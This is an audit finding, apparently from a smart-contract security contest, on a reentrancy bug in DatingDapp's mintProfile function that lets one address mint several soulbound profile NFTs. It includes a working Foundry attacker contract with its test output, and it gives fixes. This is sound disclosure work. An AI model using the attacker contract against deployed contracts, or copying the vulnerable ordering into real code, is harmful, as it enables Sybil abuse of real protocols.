DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile Allows Multiple Soulbound NFTs Per User

Summary

DatingDapp requires each user to have exactly one NFT profile, enforced by checking profileToToken[msg.sender] == 0 before minting in the SoulboundProfileNFT::mintProfile function. However, due to unsafe state management during the minting process, attackers can exploit reentrancy to bypass this restriction and mint multiple profiles for a single address, violating the core "one profile per user" guarantee.

Vulnerability Details

Following, the code of the SoulboundProfileNFT::mintProfile function, where the vulnerability is present.

src/SoulboundProfileNFT.sol#L29-L41

/// @notice Mint a soulbound NFT representing the user's profile.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists"); // Check ❗
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId); // 🚨 Reentrancy point (calls onERC721Received)
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage); // State update ❌
profileToToken[msg.sender] = tokenId; // State update ❌
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

The issue lies in the following unsafe ordering:

  1. Check if user has no profile

  2. Mint NFT (external call via _safeMint)

  3. Then update profileToToken mapping

A malicious contract can re-enter mintProfile during the _safeMint callback, passing the initial check before state updates occur.

To confirm the presence of this issue, the following test case confirms the possibility for an attacker to obtain two NFTs representing the user's profile.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../src/SoulboundProfileNFT.sol";
contract ReentrancyTest is Test {
SoulboundProfileNFT public vulnerableProfileNFT;
function setUp() public {
vulnerableProfileNFT = new SoulboundProfileNFT();
}
function testReentrancyAllowsMultipleMints() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(
address(vulnerableProfileNFT)
);
vm.deal(address(attacker), 1 ether);
console2.log("Attacker contract address:", address(attacker));
console2.log(
"Initial NFT balance:",
vulnerableProfileNFT.balanceOf(address(attacker))
);
vm.prank(address(attacker));
attacker.attack();
uint256 finalBalance = vulnerableProfileNFT.balanceOf(
address(attacker)
);
console2.log("Final NFT balance:", finalBalance);
assertEq(finalBalance, 2, "Reentrancy failed to mint multiple NFTs");
}
}
contract ReentrancyAttacker is IERC721Receiver {
SoulboundProfileNFT public target;
address public owner;
bool public reentered;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
owner = address(this);
}
function attack() external {
target.mintProfile("Attacker", 30, "ipfs://malicious");
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external override returns (bytes4) {
if (!reentered && target.profileToToken(owner) == 0) {
reentered = true;
target.mintProfile("Attacker", 30, "ipfs://malicious");
}
return IERC721Receiver.onERC721Received.selector;
}
}

Expected Test Output

┌──(kali㉿kali)-[~/Tools/web3/contests/2025-02-datingdapp]
└─$ forge test --mt testReentrancyAllowsMultipleMints -vv
[⠒] Compiling...
[⠊] Installing Solc version 0.8.26
[⠢] Successfully installed Solc 0.8.26
No files changed, compilation skipped
Ran 1 test for test/ReentrancyTest.t.sol:ReentrancyTest
[PASS] testReentrancyAllowsMultipleMints() (gas: 576209)
Logs:
Attacker contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Initial NFT balance: 0
Final NFT balance: 2
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.03ms (286.22µs CPU time)
Ran 1 test suite in 26.70ms (14.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Users can create multiple profiles, enabling Sybil attacks. As a result, the verification system becomes ineffective as users are able to bypass profile limitations.

Tools Used

Foundry

Recommendations

Here are some examples of how to properly fix this issue and prevent reentrancy attacks:

Apply Checks-Effects-Interactions Pattern

One of the most effective ways to mitigate reentrancy vulnerabilities is to follow the Checks-Effects-Interactions pattern. This ensures that state changes occur before any external calls, eliminating the risk of reentrant execution.

function mintProfile(...) external {
require(profileToToken[msg.sender] == 0, "Profile exists"); // 🛡️ Check
uint256 tokenId = ++_nextTokenId;
// Update state FIRST
profileToToken[msg.sender] = tokenId; // 🛡️ Effect
_profiles[tokenId] = Profile(...); // 🛡️ Effect
_safeMint(msg.sender, tokenId); // 🛡️ Interaction last
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Add Reentrancy Guard

Another common and effective protection mechanism is using OpenZeppelin’s ReentrancyGuard, which prevents reentrant calls to functions by enforcing a locking mechanism.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
function mintProfile(...) external nonReentrant { ... }
}
Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.